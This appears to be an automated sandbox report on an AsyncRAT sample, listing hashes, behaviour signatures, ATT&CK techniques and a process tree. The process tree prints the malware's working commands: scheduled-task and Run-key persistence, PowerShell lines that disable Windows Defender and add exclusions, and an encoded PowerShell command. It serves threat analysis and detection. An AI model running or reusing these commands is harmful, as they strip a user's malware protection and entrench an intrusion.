Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
08/11/2024, 21:19
Behavioral task
behavioral1
Sample
Fspufeg_LetThereBeCarnage.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Fspufeg_LetThereBeCarnage.exe
Resource
win10v2004-20241007-en
General
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Target
Fspufeg_LetThereBeCarnage.exe
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Size
176KB
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MD5
b1fe8bd5e597eca5c117126d841620a8
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SHA1
096038125468f8eb1e91e62233f7569b9ac4e4fa
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SHA256
60f8e250f3c0fbbc3088cb762a14322532a4c183e86287532534d38f2f2e79e7
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SHA512
4823e1df90e4de43e31db17dc750f2f7f4cd4948a43e2287d7982eaec6fcc7a612e1e2b543ef6391ff09b1fb02cd95953f5732041922adea6b65384c47f2006c
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SSDEEP
3072:pUdsvwe0jmKhy2BQ9bwjjdyqyqA0FCWfJz6gUlDCfz6:Mf5hy2BQ9bmjdyqyqBFCWfJzGim
Malware Config
Signatures
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Asyncrat family
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pid Process 4400 powershell.exe 1520 powershell.exe 4280 powershell.exe 1516 powershell.exe 2136 powershell.exe 1632 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation Fspufeg_LetThereBeCarnage.exe Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation DJnogssshst.exe -
Executes dropped EXE 1 IoCs
pid Process 3620 DJnogssshst.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DJnogssshst.exe = "C:\\Users\\Admin\\AppData\\Roaming\\DJnogssshst.exe" DJnogssshst.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysService_6830 = "C:\\Users\\Admin\\AppData\\Roaming\\Sys_4btp0mfwogx\\DJnogssshst_6830.exe" DJnogssshst.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 24 pastebin.com 25 pastebin.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
pid Process 3028 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 8 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 2540 Fspufeg_LetThereBeCarnage.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 1516 powershell.exe 1516 powershell.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 4400 powershell.exe 4400 powershell.exe 1516 powershell.exe 4280 powershell.exe 4280 powershell.exe 1668 powershell.exe 1668 powershell.exe 4400 powershell.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 4280 powershell.exe 1668 powershell.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe 3620 DJnogssshst.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2540 Fspufeg_LetThereBeCarnage.exe Token: SeDebugPrivilege 2540 Fspufeg_LetThereBeCarnage.exe Token: SeDebugPrivilege 3620 DJnogssshst.exe Token: SeDebugPrivilege 3620 DJnogssshst.exe Token: SeDebugPrivilege 1516 powershell.exe Token: SeDebugPrivilege 1668 powershell.exe Token: SeDebugPrivilege 4280 powershell.exe Token: SeDebugPrivilege 4400 powershell.exe Token: SeDebugPrivilege 2136 powershell.exe Token: SeDebugPrivilege 1632 powershell.exe Token: SeDebugPrivilege 1520 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3620 DJnogssshst.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2540 wrote to memory of 1360 2540 Fspufeg_LetThereBeCarnage.exe 101 PID 2540 wrote to memory of 1360 2540 Fspufeg_LetThereBeCarnage.exe 101 PID 2540 wrote to memory of 4904 2540 Fspufeg_LetThereBeCarnage.exe 103 PID 2540 wrote to memory of 4904 2540 Fspufeg_LetThereBeCarnage.exe 103 PID 1360 wrote to memory of 8 1360 cmd.exe 105 PID 1360 wrote to memory of 8 1360 cmd.exe 105 PID 4904 wrote to memory of 3028 4904 cmd.exe 106 PID 4904 wrote to memory of 3028 4904 cmd.exe 106 PID 4904 wrote to memory of 3620 4904 cmd.exe 107 PID 4904 wrote to memory of 3620 4904 cmd.exe 107 PID 3620 wrote to memory of 456 3620 DJnogssshst.exe 108 PID 3620 wrote to memory of 456 3620 DJnogssshst.exe 108 PID 3620 wrote to memory of 1492 3620 DJnogssshst.exe 110 PID 3620 wrote to memory of 1492 3620 DJnogssshst.exe 110 PID 3620 wrote to memory of 1668 3620 DJnogssshst.exe 112 PID 3620 wrote to memory of 1668 3620 DJnogssshst.exe 112 PID 456 wrote to memory of 1516 456 cmd.exe 113 PID 456 wrote to memory of 1516 456 cmd.exe 113 PID 1492 wrote to memory of 4400 1492 cmd.exe 115 PID 1492 wrote to memory of 4400 1492 cmd.exe 115 PID 1492 wrote to memory of 4280 1492 cmd.exe 116 PID 1492 wrote to memory of 4280 1492 cmd.exe 116 PID 1492 wrote to memory of 2136 1492 cmd.exe 117 PID 1492 wrote to memory of 2136 1492 cmd.exe 117 PID 1492 wrote to memory of 1632 1492 cmd.exe 118 PID 1492 wrote to memory of 1632 1492 cmd.exe 118 PID 1492 wrote to memory of 1520 1492 cmd.exe 119 PID 1492 wrote to memory of 1520 1492 cmd.exe 119 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Fspufeg_LetThereBeCarnage.exe"C:\Users\Admin\AppData\Local\Temp\Fspufeg_LetThereBeCarnage.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn DJnogssshst /tr 'C:\Users\Admin\AppData\Roaming\DJnogssshst.exe' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn DJnogssshst /tr 'C:\Users\Admin\AppData\Roaming\DJnogssshst.exe'3⤵
- Scheduled Task/Job: Scheduled Task
PID:8
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCB01.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:3028
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C:\Users\Admin\AppData\Roaming\DJnogssshst.exeC:\Users\Admin\AppData\Roaming\DJnogssshst.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPathC:\Users\Admin\AppData\Roaming\DJnogssshst.exe & exit4⤵
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPathC:\Users\Admin\AppData\Roaming\DJnogssshst.exe5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\AppData\" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\Local\" & powershell.exe -command \"Set-MpPreference -ExclusionExtension .exe\" & exit4⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -SubmitSamplesConsent 25⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4280
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\AppData\"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2136
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\Local\"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command \"Set-MpPreference -ExclusionExtension .exe\"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1520
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -encodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQASgBuAG8AZwBzAHMAcwBoAHMAdAAuAGUAeABlACcAOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAdQBzAGgATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBUAG8AYQBzAHQARQBuAGEAYgBsAGUAZAAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0ARgBvAHIAYwBlAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5217d9191dfd67252cef23229676c9eda
SHA180d940b01c28e3933b9d68b3e567adc2bac1289f
SHA256e64811c3e57476bb644539824034cabe2cabcb88941122193e2af328f5eb2133
SHA51286767aa3c0eec425b7c6dbfd70a4a334fb5b1227c05fb06fbb3845e7b6974008386276f441c8e66e2bf9b0ae0a76133c4e5602211788cd702eaeadd12c5ff757
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Filesize
1KB
MD5cc88f379beccf096b213ed725d6030cc
SHA1b5cfe4a0a0d6905ee4c393c2a86c6d4534625b9e
SHA256a401be34a47352c4ea50c723eaac8256dfdcc7108b46b9cb615377509a7f2191
SHA512896ddfba528b542ff16abccc426cbcf23de7a77ce987b420343b60f7af61ed1194b6e7cffa3a1bf134affcef53e758518609cd0cdc42176513cdcf72a2bd9e09
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Filesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
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Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
149B
MD50bbf29293973857c03fb92e9a26b5113
SHA12def6dc13d697e05001f0f5d2ac6f206c580b1c4
SHA25635ba21661edd6bcdc972a8545066219295152d2964cefc082b95a48e4956b948
SHA5121e31a77aca30f5026c67c8ccc808efce158f58bfae0b0cc7fbe92ba407748bcbe428ec80261de89103975749fa3a5f9c3753163de8b5b3de614cca188164c854
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Filesize
176KB
MD5b1fe8bd5e597eca5c117126d841620a8
SHA1096038125468f8eb1e91e62233f7569b9ac4e4fa
SHA25660f8e250f3c0fbbc3088cb762a14322532a4c183e86287532534d38f2f2e79e7
SHA5124823e1df90e4de43e31db17dc750f2f7f4cd4948a43e2287d7982eaec6fcc7a612e1e2b543ef6391ff09b1fb02cd95953f5732041922adea6b65384c47f2006c